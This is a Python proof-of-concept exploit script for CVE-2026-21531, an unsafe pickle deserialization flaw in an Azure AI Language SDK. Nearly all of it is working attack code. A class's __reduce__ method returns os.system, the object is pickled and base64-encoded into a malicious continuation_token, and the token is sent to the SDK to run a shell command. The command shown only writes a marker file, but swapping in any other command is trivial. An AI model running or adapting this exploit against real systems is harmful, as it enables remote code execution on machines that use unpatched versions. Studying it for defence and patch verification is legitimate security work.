#!/usr/bin/env python3
# Exploit Title: Azure AI Language Conversations Authoring SDK - Remote Code Execution
# CVE: CVE-2026-21531
# Date: 2026-02-25
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://azure.microsoft.com/
# Software Link: https://pypi.org/project/azure-ai-language-conversations-authoring/
# Affected Versions: < 1.0.0b4
# Tested on: Python 3.x with azure-ai-language-conversations-authoring==1.0.0b3
# Category: Remote Code Execution
# Platform: Python (client-side)
# Exploit Type: Deserialization of Untrusted Data
# CVSS: 9.8 (Critical)
# CWE: CWE-502
# Description: Unsafe pickle deserialization of continuation_token in Azure SDK
# Fixed in: 1.0.0b4 and later
# Usage: python3 exploit.py
# Notes: Lab/educational use only. Executes command on the machine running the script.
print("""
╔══════════════════════════════════════════════════════════════════════════════╗
║ ║
║ CVE-2026-21531 Proof of Concept ║
║ ║
║ ║
║ Author ............ Mohammed Idrees Banyamer ║
║ Country ........... Jordan ║
║ Instagram ......... @banyamer_security ║
║ Date .............. February 25, 2026 ║
║ ║
╚══════════════════════════════════════════════════════════════════════════════╝
""")
import pickle
import base64
import os
import time
from azure.ai.language.conversations.authoring import ConversationAuthoringClient
from azure.core.credentials import AzureKeyCredential
class MaliciousPayload:
def __reduce__(self):
cmd = 'echo "=== RCE SUCCESS - CVE-2026-21531 EXPLOITED === $(date)" > /tmp/cve_2026_21531_hacked.txt && whoami >> /tmp/cve_2026_21531_hacked.txt'
return (os.system, (cmd,))
def generate_malicious_token():
payload = MaliciousPayload()
pickled = pickle.dumps(payload)
token = base64.b64encode(pickled).decode('ascii')
print("[+] Malicious Continuation Token generated successfully")
print(f"[+] Token length: {len(token)} characters")
return token
if __name__ == "__main__":
print("CVE-2026-21531 Lab Exploit - Azure SDK Pickle RCE")
print("=" * 60)
endpoint = "https://fake-language-resource.cognitiveservices.azure.com/"
key = "fake-key-1234567890abcdef"
client = ConversationAuthoringClient(endpoint, AzureKeyCredential(key))
malicious_token = generate_malicious_token()
print("[+] Sending malicious token to the SDK...")
try:
poller = client.begin_cancel_training_job(
job_id="fake-job-12345",
continuation_token=malicious_token
)
except Exception as e:
print(f"[!] Exception (normal after RCE): {type(e).__name__}")
time.sleep(2)
proof_file = "/tmp/cve_2026_21531_hacked.txt"
if os.path.exists(proof_file):
print("\nSUCCESS! Exploit worked 100%")
print("Proof file content:")
with open(proof_file, "r") as f:
print(f.read())
else:
print("\nProof file not created. Try changing the command or running with higher privileges.")
print("\nReminder: After testing, delete the file and upgrade the SDK to >= 1.0.0b4")
